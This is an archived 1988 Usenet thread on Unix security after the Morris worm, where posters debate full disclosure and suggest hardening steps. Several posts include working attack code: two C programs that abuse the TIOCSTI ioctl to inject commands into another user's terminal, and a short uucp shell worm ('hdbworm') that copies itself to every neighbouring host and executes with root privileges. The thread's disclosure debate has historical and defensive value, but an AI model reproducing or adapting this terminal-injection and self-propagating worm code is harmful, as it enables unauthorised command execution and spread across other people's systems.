bright@aplcen.apl.jhu.edu (Jonathan Bright) (11/15/88)
I've just thought up of a little scenario for what the virus could have done if Robert Morris had decided that he really wanted to cause people problems. I am certainly very glad that he didn't do this, but I'm trying to make the point that somebody he could of. 1) The virus spreads rapidly without being noticed to a lot of machines. 2) Instead of just keeping a copy of itself on the host and trying to reproduce, it would install it's own version of dump and restore on the host. For the next n months, whenever a file was dumped it would be encoded with some password, and the password would be hidden in some file on the host machine. Whenever somebody wanted to restore a file, the bogus restore would find the password for the file, and decode the file. 3) Then after some predetermined signal, all the viruses would remove the decoding passwords from the system and trash the file system. Sure, the guy would probably be roasted for doing this (assuming they caught him, which he could easily prevent by writing this program using an account that wasn't his on a a machine that he had no connections to). But there are thousands of hackers out there, and I would find it hard to believe that there isn't 1 who has some sort of reason to do this. -------- Just some mental notes on some simple things that could be done to help security. (for berkeley) 1) remove .rhosts files. 2) put the encoded passwords where nobody can read them, and then introduce a system call "verifypasswd(user,passwd)" which would log usages and would take a while to run. Sure, a lot of stuff would have to be rewritten, but it would be worth it. 3) protect "/dev/mem" and "/dev/kmem" files on all machines. This is done by making mem and kmem readable by group mem, and then have "top" and "w" and other such programs set group id mem. 4) On berkeley unix, because of the ioctl(fd,TIOCSTI) having terminals writable is a big bug (see man 4 tty for details). Mesg should set world execute bit instead of world write bit to signal that the person wants to receive messages, and then run as suid root (or some variation of this). (God, posting this just killed me...) 5) No important directories (/etc, /bin etc...) should be be writable by group staff or any other group. 6) If you have several computers that have to communicate with the outside world, make one of them run the deamons in /etc/services to recieve files from other machines, but don't have the others honor any such requests. 7) Vendors of unix systems should take some responsibility and make the programs they distribute more secure. This means hiring somebody at 30k and having them work full time finding and fixing security bugs. I know of other more specific security problems with unix, but hey, I can't give away all of what I know... (and figured out by myself, especially). :-) Jon Bright My real mail address is "bright@crabcake.cs.jhu.edu" P.S. I know unix fairly well, and I'd be interested working with unix over the summer (preferably in the baltimore area). :-) P.P.S. This is one of the first times I've ever posted to the net, so please excuse me if I did something wrong...
bright@aplcen.apl.jhu.edu (Jonathan Bright) (11/15/88)
Oh, in my last posting I remembered to flame software vendors a little because they have been too lazy in the past to take reasonable measures to deliver secure software, but I forgot to also flame system administrators. So here I go: FLAME ON: So why the hell are so many system administrators out there refusing to take any responsibility for the computer systems that they are responsible for? Oh yeah, now after the virus struck many of them having been making an effort to tighten up their systems, but three weeks from now they will go back to their old ways, and wont even take the time to install posted bug fixes anymore. FLAME OFF: Of course, this is an over generalization and hence shouldn't be taken too seriously. But I'm afraid that what I said describes too many system admins out there. But to be fair, if a CIS dept. at some college wants to be cheap and use a grad student who really doesn't have the time or the background to system administrate properly, can you really really blame the poor grad student? Disclaimer: This letter was orginally meant to be sent to /dev/null, but due to a software foulup on our system, it was accidentally posted instead...
pdb@sei.cmu.edu (Patrick Barron) (11/16/88)
In article <247@aplcen.apl.jhu.edu> bright@aplcen.UUCP (Jonathan Bright) writes: >4) On berkeley unix, because of the ioctl(fd,TIOCSTI) having terminals >writable is a big bug (see man 4 tty for details). Mesg should >set world execute bit instead of world write bit to signal that the >person wants to receive messages, and then run as suid root (or some >variation of this). (God, posting this just killed me...) You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI only works if 1) the terminal in question is your process's control terminal, or 2) you're root. --Pat.
honey@mailrus.cc.umich.edu (peter honeyman) (11/16/88)
Patrick Barron writes: >You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI >only works if 1) the terminal in question is your process's control terminal, >or 2) you're root. this doesn't work in 4.3 (i'm told), but it used to work in 4.1 and 4.2. i learned about it from rtm. peter #include <sgtty.h> main(argc, argv) char *argv[]; { int i, x, fd; if(argc < 3){ printf("%s file string\n", argv[0]); exit(1); } setpgrp(getpid(), 1<<18); /* heh heh heh */ if ((fd = open(argv[1], 1)) < 0) { perror(argv[0]); exit(1); } for (argc -= 2, argv += 2; argc; argv++, --argc) { for (i = 0; (*argv)[i] != '\0'; i++){ if(ioctl(fd, TIOCSTI, &(*argv)[i]) < 0){ perror("TIOCSTI"); exit(1); } } if(ioctl(fd, TIOCSTI, " ") < 0){ perror("TIOCSTI"); exit(1); } } ioctl(fd, TIOCSTI, "\n"); exit(0); }
tchrist@convex.UUCP (Tom Christiansen) (11/16/88)
In article <2975@ci.sei.cmu.edu> pdb@sei.cmu.edu (Patrick Barron) writes: >You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI >only works if 1) the terminal in question is your process's control terminal, >or 2) you're root. sadly, only the first condition need be satisfied, which is the whole problem. --tom Tom Christiansen {uiucdcs,ut-sally,sun}!convex!tchrist Convex Computer Corporation tchrist@convex.COM UNIX Support, Training, and System Administration "That's not a bug -- it's a feature!"
osm@heifetz.UUCP (Owen Scott Medd) (11/16/88)
In article <793@mailrus.cc.umich.edu> honey@citi.umich.edu (peter honeyman) writes: #Patrick Barron writes: #>You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI #>only works if 1) the terminal in question is your process's control terminal, #>or 2) you're root. # #this doesn't work in 4.3 (i'm told), but it used to work in 4.1 and 4.2. #i learned about it from rtm. [tty stuff program deleted...] And, of course, this was discussed (and distributed) on the old security list. A very useful thing for system administrators to know about, when strange commands seem to be typing themselves on user's screens. -- USMail: M & S Associates, 628 Brooks, Ann Arbor, MI 48103 Phone: +1 313 761-6624 UUCP: uunet!umix!heifetz!osm Internet: osm@heifetz.ann-arbor.mi.us
bright@aplcen.apl.jhu.edu (Jonathan Bright) (11/17/88)
In article <2975@ci.sei.cmu.edu> pdb@sei.cmu.edu (Patrick Barron) writes: >You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI >only works if 1) the terminal in question is your process's control terminal, >or 2) you're root. > >--Pat. But it is easy enough to change your control terminal to that of the terminal that you have the file descriptor for, using TIOCNOTTY and then opening up the terminal in question. Somebody also wrote that they don't think that this bug works on 4.3, but it worked on a 4.3 system that I used in the past (whatever the machine vax1.acs.udel.edu runs, and I'm happy to say that they don't have terminals writable), and it also works on ULTRIX. I think that it is dangerous for a process to be able to open up the file /dev/tty, and have it return a file descriptor for for the processes control terminal. Very convenient from a systems programming standpoint, but still dangerous. Also, sendmail link bugs still work on both suns and ULTRIX, and I suspect other machines. Users must not be allowed to write to the directory /usr/spool/mail. Whenever somebody is given an account root should create their mail drop in /usr/spool/mail for them. Jon Bright P.S. Somebody on the net pointed out to me that 30k was a bit too little to pay to get somebody good to security hack for you. They are of course right. But to somebody who has never earned more than $5 an hour, 30k seems like a lot. P.P.S. Nobody has yet mailed me offering me a job or anything. Disclaimer: This letter was orginally meant to be sent to /dev/null, but due to a hardware failure on our system it was accidentally posted instead, and this disclaimer was appended to the end.
tr@wind.bellcore.com (tom reingold) (11/17/88)
On the subject of "who, me?", bright@aplcen.UUCP (Jonathan Bright) says: $ [...] $ FLAME ON: $ So why the hell are so many system administrators out there refusing $ to take any responsibility for the computer systems that they are $ responsible for? Oh yeah, now after the virus struck many of them $ having been making an effort to tighten up their systems, but three $ weeks from now they will go back to their old ways, and wont even $ take the time to install posted bug fixes anymore. $ FLAME OFF: $ [...] It isn't that all those who leave security holes refuse to take responsibility. In many cases, it is a concious decision. When making decisions on how secure a system will be, compromises are made. It is ultimately up to a person or a group of people how much ease of use he or they will trade off in exchange for security. Tom Reingold PAPERNET: |INTERNET: tr@bellcore.bellcore.com Bell Communications Research |UUCP-NET: bellcore!tr 445 South St room 2L350 |SOUNDNET: (201) 829-4622 [work], Morristown, NJ 07960-1910 | (201) 287-2345 [home]
cr@dukempd.phy.duke.edu (Cyrus Rahman) (11/17/88)
peter honeyman writes: \Patrick Barron writes: \>You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI \>only works if 1) the terminal in question is your process's control terminal, \>or 2) you're root. \ \this doesn't work in 4.3 (i'm told), but it used to work in 4.1 and 4.2. \i learned about it from rtm. \ \ peter One can TIOCSTI any tty one can open for reading in 4.3. It is sometimes necessary to first use TIOCNOTTY or setpgrp(getpid(), 0). There is probably no good reason to make TIOCSTI check the tty's process group anyway.
steved@longs.LANCE.ColoState.Edu (Steve Dempsey) (11/18/88)
In article <718@convex.UUCP>, tchrist@convex.UUCP (Tom Christiansen) writes: > In article <2975@ci.sei.cmu.edu> pdb@sei.cmu.edu (Patrick Barron) writes: > >You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI > >only works if 1) the terminal in question is your process's control terminal, > >or 2) you're root. > > sadly, only the first condition need be satisfied, which is the whole problem. > > Tom Christiansen {uiucdcs,ut-sally,sun}!convex!tchrist We're getting very close to handing out the Keys to the Kingdom here. A few more clues and a little imagination will yield potential disaster. I'm all for freedom of information, etc., etc. but taking this one much further will only fuel the brightly burning ambition of the curious {cr,h}ackers in our midst. This is an excellent case in point for the restriction of the security list, which is where such discussions belong. Please, no more hints on TIOCSTI. Steve Dempsey, Center for Computer Assisted Engineering Colorado State University, Fort Collins, CO 80523 +1 303 491 0630 INET: steved@longs.LANCE.ColoState.Edu, dempsey@handel.CS.ColoState.Edu UUCP: boulder!ccncsu!longs.LANCE.ColoState.Edu!steved, ...!ncar!handel!dempsey
jwm@stdc.jhuapl.edu (Jim Meritt) (11/18/88)
In article <248@aplcen.apl.jhu.edu> bright@aplcen.UUCP (Jonathan Bright) writes: }FLAME ON: }So why the hell are so many system administrators out there refusing }to take any responsibility for the computer systems that they are }responsible for? Oh yeah, now after the virus struck many of them }having been making an effort to tighten up their systems, but three }weeks from now they will go back to their old ways, and wont even }take the time to install posted bug fixes anymore. }FLAME OFF: More specifically, why do the system administrators not only refuse to take responsibility for the systems under their control, but try to lock the user out of the information (s)he needs to take care of his/her own! MAKE comp.security on OPEN discussion group! Let the users care for their own, since "those on high" will not / can not! (It's amazing how many "users" here need an extended explaination on the permissives! Simple, yet reasonable.) Disclaimer: "It's mine! All mine!!!" - D. Duck
honey@mailrus.cc.umich.edu (peter honeyman) (11/18/88)
steved@longs.lance.colostate.edu objects to exposing the TIOCSTI bug to unfriendly eyes, expressing a concern that "a few more clues and a little imagination will yield potential disaster." this is one school of thought, and we saw the result of this attempt at hush-it-up-don't-say-a-word computer security. in particular, broken systems running sendmail learned the hard way that this policy has it's down side. there is another school of thought on this -- tell everyone you can as fast as you can. that's my alma mater. it was in the spirit of glasnost that i posted a working program that exploits the setpgrp bug. (credit rtm for first discovering it.) in that same vein, i offer the following honey danber "experiment." (sans fix! if you have this bug, go bug your vendor.) create /usr/spool/uucppublic/hdbworm as follows: #!/bin/sh PUBDIR=/usr/spool/uucppublic for i in `uuname|sort -u`; do uucp /usr/spool/uucppublic/hdbworm $i!/usr/spool/uucppublic uux -a "`sh /usr/spool/uucppublic/hdbworm;echo root`" $i!false done i told summit about this several years ago, specifying in no uncertain terms the gravity of the problem. it is quite possible that they applied the patch i sent them. even so, i don't recommend running hdbworm. peter
vjs@rhyolite.SGI.COM (Vernon Schryver) (11/19/88)
In article <797@mailrus.cc.umich.edu>, honey@mailrus.cc.umich.edu (peter honeyman) writes: > > steved@longs.lance.colostate.edu objects to exposing the TIOCSTI bug to > > unfriendly eyes, expressing a concern that "a few more clues and a > > little imagination will yield potential disaster." > > this is one school of thought, and we saw the result of this attempt at > hush-it-up-don't-say-a-word computer security. in particular, broken > systems running sendmail learned the hard way that this policy has it's > down side. > there is another school of thought on this -- tell everyone you can > as fast as you can. that's my alma mater. Absolutely. Vague but dire warnings in the netnews from Joe Sysadmin, Dr. Net Luminary, or even Exalted BSD Personage do not get attention at vendors. There are always enough explict bug reports to go around. If you want yours fixed, it better not be too hard to figure out what you're talking about. > it was in the spirit of glasnost that i posted a working program that > exploits the setpgrp bug. Sorry, but I must of missed that one. Could you repost it or mail it to me? Vernon Schryver Silicon Graphics vjs@sgi.com
csch@tmpmbx.UUCP (Clemens Schrimpe) (11/20/88)
pdb@sei.cmu.edu (Patrick Barron) writes: <> You can't necessarily TIOCSTI a terminal if you can write to it. TIOCSTI <> only works if 1) the terminal in question is your process's control terminal, <> or 2) you're root. Ha! 1) isn't that hard - at least under 4.2 (I don't know, whether that has been fixed under 4.3) you can SET your own processgroup-terminal relation- ship und thus use TIOCSTI ! (TIOCSPGRP) Although many cuys will cry out, here's a little example: [There is a "security" check in the TIOCSTI-code, which will only allow execution of TIOCSTI when the terminal is WRITABLE - simply change this to check if the terminal is READABLE and the following won't work] | close(0); close(1); close(2); Close file-descriptors to controlling-tty | signal(SIGTTOU, SIG_IGN); | signal(SIGTTIN, SIG_IGN); Ignore these fancy signals ... (will else receive them, when writing to the victim's terminal) | if ((fd1 = open("/dev/tty", O_RDWR)) >= 0) { | ioctl(fd1, TIOCNOTTY, 0); | close(fd1); | } Get rid of our processgroup<->terminal relationship (divorce ??? :-) | if ((fd = open(argv[1], O_WRONLY)) < 0) | { | perror(argv[1]); | exit(1); | } Open victim's terminal ... | new = getpid(); | if (ioctl(fd, TIOCSPGRP, &new) < 0) | { | perror("TIOCSPGRP"); | exit(1); | } Change the processgroup of the victim's terminal | while (*c) c is a pointer to the string to be written to his/her terminal | if (ioctl(fd, TIOCSTI, c++) < 0) | { | perror("TIOCSTI"); | exit(1); | } | ioctl(fd, TIOCSTI, "\r"); | close(fd); NO FLAMES PLEASE ! Try playing with it ... :-) Clemens PS: Thanks to cabo@tub for many hints about this ... -- UUCP: csch@tmpmbx.UUCP {pyramid,unido,altger}!tmpmbx!csch BITNET: csch@db0tui6.BITNET ARPA/NSF: csch@garp.mit.edu PHONE: +49-30-332 40 15 TELEX: 186672 net d PSI: PSI%026245300043106::CSCH X.25: 2624 53000 43106 login: chat or login: mail
zeeff@b-tech.ann-arbor.mi.us (Jon Zeeff) (11/21/88)
In article <797@mailrus.cc.umich.edu> honey@citi.umich.edu (peter honeyman) writes: > >create /usr/spool/uucppublic/hdbworm as follows: As this points out, uucp may :-) have bugs. And as things are normally set up, breaking uucp breaks many things since many users indirectly run /usr/bin/uux which is owned by uucp (maybe even root as he sends mail to join a security list). What ever happened to the idea that breaking xxx doesn't allow you to break anything else? How about making /usr/bin/uux a simple suid root program that does a setuid(UUCPUID) and execs the real uux? It's not just suid programs that are problems, it's anything that someone might run (directly or indirectly). -- Jon Zeeff A month ago I modified broke into umix!b-tech!zeeff your system and modified your kernel. zeeff@b-tech.ann-arbor.mi.us Have you proved me wrong?
rminnich@super.ORG (Ronald G Minnich) (11/22/88)
In article <22243@sgi.SGI.COM> vjs@rhyolite.SGI.COM (Vernon Schryver) writes: >Absolutely. Vague but dire warnings in the netnews from Joe Sysadmin, >Dr. Net Luminary, or even Exalted BSD Personage do not get attention at > vendors. Or at non-vendors either. But those explicit explanations sure got my attention. There were some set-uid scripts floating around here, because although i had always heard that they were a security hole, i was too thick to figure out how. They were gone oh, say, 15 seconds after i saw the message. I am not real good at this security stuff, but you only have to hit me between the eyes once with a 2-by-4. So vague but dire warnings don't always play well at the user's sites, either. There is an infinitely deep queue of things that had to be done last week, and it will ALWAYS be infinitely deep. My thanks to those who are bringing these things into the open. The bad guys already know it, so it can't hurt to tell the rest of us. ron